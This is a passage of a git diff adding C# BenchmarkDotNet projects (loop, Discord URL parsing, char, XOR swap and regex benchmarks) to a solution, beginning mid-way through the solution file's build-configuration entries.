{834A33D0-C8AA-435A-A631-5ECC33097E17}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Debug|Any CPU.Build.0 = Debug|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Release|Any CPU.ActiveCfg = Release|Any CPU + {834A33D0-C8AA-435A-A631-5ECC33097E17}.Release|Any CPU.Build.0 = Release|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EB83B114-CC77-43AC-8633-A8E668B1A049}.Release|Any CPU.Build.0 = Release|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Release|Any CPU.Build.0 = Release|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Release|Any CPU.Build.0 = Release|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0166ACDD-5963-4399-84C1-384D852D2728}.Release|Any CPU.Build.0 = Release|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6882C767-63CB-4387-AD13-0C59471CA759}.Release|Any CPU.Build.0 = Release|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FD9C7858-BA0F-43A5-A981-79716BD8F331}.Release|Any CPU.Build.0 = Release|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Release|Any CPU.Build.0 = Release|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Release|Any CPU.Build.0 = Release|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Release|Any CPU.Build.0 = Release|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Release|Any CPU.Build.0 = Release|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Release|Any CPU.Build.0 = Release|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {472698F1-9E41-47AF-8805-E358FE2B63FB}.Release|Any CPU.Build.0 = Release|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {957B8279-B735-454C-B381-28C647E006BB}.Release|Any CPU.Build.0 = Release|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Debug|Any CPU.Build.0 = Debug|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Release|Any CPU.ActiveCfg = Release|Any CPU + {55920614-9DFA-4052-9930-DEBB7BFC8414}.Release|Any CPU.Build.0 = Release|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Release|Any CPU.Build.0 = Release|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Release|Any CPU.Build.0 = Release|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7A6C21D3-FDD8-4F73-A94C-608545169F66}.Release|Any CPU.Build.0 = Release|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DBE4E62D-7588-45F7-9B46-F94028F0E811}.Release|Any CPU.Build.0 = Release|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3D2CA600-8540-47A2-B488-2624D54390A8}.Release|Any CPU.Build.0 = Release|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Release|Any CPU.Build.0 = Release|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Release|Any CPU.Build.0 = Release|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Release|Any CPU.Build.0 = Release|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Release|Any CPU.Build.0 = Release|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Release|Any CPU.Build.0 = Release|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Release|Any CPU.Build.0 = Release|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Release|Any CPU.Build.0 = Release|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Release|Any CPU.Build.0 = Release|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Release|Any CPU.Build.0 = Release|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Release|Any CPU.Build.0 = Release|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Release|Any CPU.Build.0 = Release|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Release|Any CPU.Build.0 = Release|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Release|Any CPU.Build.0 = Release|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Release|Any CPU.Build.0 = Release|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Debug|Any CPU.Build.0 = Debug|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Release|Any CPU.ActiveCfg = Release|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Release|Any CPU.Build.0 = Release|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Release|Any CPU.Build.0 = Release|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Release|Any CPU.Build.0 = Release|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Release|Any CPU.Build.0 = Release|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Release|Any CPU.Build.0 = Release|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Release|Any CPU.Build.0 = Release|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Debug|Any CPU.Build.0 = Debug|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Release|Any CPU.ActiveCfg = Release|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Release|Any CPU.Build.0 = Release|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Release|Any CPU.Build.0 = Release|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Release|Any CPU.Build.0 = Release|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Release|Any CPU.Build.0 = Release|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Release|Any CPU.Build.0 = Release|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Release|Any CPU.Build.0 = Release|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Release|Any CPU.Build.0 = Release|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection +EndGlobal diff --git a/csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj b/csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj new file mode 100644 index 0000000..27cb2ef --- /dev/null +++ b/csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E001_BigOLoopBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E001-BigOLoopBenchmarks/Program.cs b/csharp/E001-BigOLoopBenchmarks/Program.cs new file mode 100644 index 0000000..d6f24e2 --- /dev/null +++ b/csharp/E001-BigOLoopBenchmarks/Program.cs @@ -0,0 +1,36 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class BigOLoop +{ + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + [Arguments(1000)] + [Arguments(10000)] + public void Linear(int dimension) + { + int total = dimension * dimension; + for (var iterator = 0; iterator < total; iterator++) + { + } + } + + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + [Arguments(1000)] + [Arguments(10000)] + public void Exponential(int dimension) + { + for (var x = 0; x < dimension; x++) + for (var y = 0; y < dimension; y++) + { + } + } +} diff --git a/csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs b/csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs new file mode 100644 index 0000000..fabb668 --- /dev/null +++ b/csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs @@ -0,0 +1,18 @@ +using BenchmarkDotNet.Attributes; + +namespace E002_DiscordUriParser; + +[SimpleJob, MemoryDiagnoser(false)] +public class DiscordUriParserBenchmarks +{ + private const string Message = "This is a test https://discord.com/channels/" + + "779115633837211659/815556722722209803/944679403420524654"; + + [Benchmark] + [Arguments(Message)] + public (ulong, ulong, ulong) UsingUri(string input) => DiscordUrlParser.UsingUri(input); + + [Benchmark] + [Arguments(Message)] + public (ulong, ulong, ulong) UsingRegex(string input) => DiscordUrlParser.UsingRegex(input); +} diff --git a/csharp/E002-DiscordUriParser/DiscordUrlParser.cs b/csharp/E002-DiscordUriParser/DiscordUrlParser.cs new file mode 100644 index 0000000..17cd379 --- /dev/null +++ b/csharp/E002-DiscordUriParser/DiscordUrlParser.cs @@ -0,0 +1,79 @@ +using System.Text.RegularExpressions; + +namespace E002_DiscordUriParser; + +public partial class DiscordUrlParser +{ + private static readonly Regex Regex = GetUrlRegex(); + + public static (ulong, ulong, ulong) UsingRegex(string input) + { + Match match = Regex.Match(input); + if (!match.Success) + { + return (0, 0, 0); + } + + return (ulong.Parse(match.Groups[1].Value), ulong.Parse(match.Groups[2].Value), ulong.Parse(match.Groups[3].Value)); + } + + public static (ulong, ulong, ulong) UsingUri(string input) + { + string[] words = input.Split(' '); + foreach (string word in words) + { + if (!Uri.IsWellFormedUriString(word, UriKind.Absolute)) + { + continue; + } + + var uri = new Uri(word); + string host = uri.Host; + if (host.IndexOf('.') != host.LastIndexOf('.')) + { + // fuck your subdomains + host = host[(host.LastIndexOf('.', host.LastIndexOf('.', host.Length - 1) - 1) + 1)..]; + } + + if (host != "discord.com") + { + continue; + } + + string path = uri.AbsolutePath; + if (!path.StartsWith("/channels/")) + { + continue; + } + + path = path["/channels/".Length..]; + + int firstSeparatorIndex = path.IndexOf('/'); + if (firstSeparatorIndex == -1) + { + continue; + } + + int secondSeparatorIndex = path.IndexOf('/', firstSeparatorIndex + 1); + if (secondSeparatorIndex == -1) + { + continue; + } + + if (ulong.TryParse(path[..firstSeparatorIndex], out ulong guild) + && ulong.TryParse(path[(firstSeparatorIndex + 1)..secondSeparatorIndex], out ulong channel) + && ulong.TryParse(path[(secondSeparatorIndex + 1)..], out ulong message)) + { + return (guild, channel, message); + } + } + + return (0, 0, 0); + } + + /*lang=regex*/ + private const string UrlRegexPattern = @"https://(?:www\.|canary\.|beta\.)?discord.com/channels/([0-9]+)/([0-9]+)/([0-9]+)/?"; + + [GeneratedRegex(UrlRegexPattern, RegexOptions.IgnoreCase | RegexOptions.Compiled, "en-GB")] + private static partial Regex GetUrlRegex(); +} \ No newline at end of file diff --git a/csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj b/csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj new file mode 100644 index 0000000..0f885f7 --- /dev/null +++ b/csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E002_DiscordUriParser + enable + enable + + + + + + + diff --git a/csharp/E002-DiscordUriParser/Program.cs b/csharp/E002-DiscordUriParser/Program.cs new file mode 100644 index 0000000..05b7f96 --- /dev/null +++ b/csharp/E002-DiscordUriParser/Program.cs @@ -0,0 +1,5 @@ +var message = "This is a test https://canary.discord.com/channels/779115633837211659/815556722722209803/944679403420524654"; +Console.WriteLine(E002_DiscordUriParser.DiscordUrlParser.UsingUri(message)); + +message = "This is a test https://beta.discord.com/channels/779115633837211659/815556722722209803/944679403420524654"; +Console.WriteLine(E002_DiscordUriParser.DiscordUrlParser.UsingUri(message)); diff --git a/csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj b/csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj new file mode 100644 index 0000000..b15fa60 --- /dev/null +++ b/csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E003_CharBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E003-CharBenchmarks/Program.cs b/csharp/E003-CharBenchmarks/Program.cs new file mode 100644 index 0000000..a133399 --- /dev/null +++ b/csharp/E003-CharBenchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class CharBenchmark +{ + [Benchmark] + public char TestA() + { + return 'a'; + } + + [Benchmark] + public char TestUtf16() + { + return '\u0369'; + } +} diff --git a/csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj b/csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj new file mode 100644 index 0000000..b3349ac --- /dev/null +++ b/csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E004_SwapBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E004-SwapBenchmarks/Program.cs b/csharp/E004-SwapBenchmarks/Program.cs new file mode 100644 index 0000000..7359c4a --- /dev/null +++ b/csharp/E004-SwapBenchmarks/Program.cs @@ -0,0 +1,47 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class SwapBenchmarks +{ + [Benchmark] + [Arguments(69, 420)] + public void Swap1(ref int a, ref int b) + { + a ^= b ^ (b = a); + } + + [Benchmark] + [Arguments(69, 420)] + public void Swap2(ref int a, ref int b) + { + a = (a ^= b) ^ (b ^= a); + } + + [Benchmark] + [Arguments(69, 420)] + public void Swap3(ref int a, ref int b) + { + a ^= b; + b ^= a; + a ^= b; + } + + [Benchmark] + [Arguments(69, 420)] + public void SwapClassic(ref int a, ref int b) + { + int t = a; + a = b; + b = t; + } + + [Benchmark] + [Arguments(69, 420)] + public void SwapViaDeconstruction(ref int a, ref int b) + { + (a, b) = (b, a); + } +} diff --git a/csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj b/csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj new file mode 100644 index 0000000..fe8479e --- /dev/null +++ b/csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E005_RegexCompiledBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E005-RegexCompiledBenchmarks/Program.cs b/csharp/E005-RegexCompiledBenchmarks/Program.cs new file mode 100644 index 0000000..85224de --- /dev/null +++ b/csharp/E005-RegexCompiledBenchmarks/Program.cs @@ -0,0 +1,26 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Attributes; +using 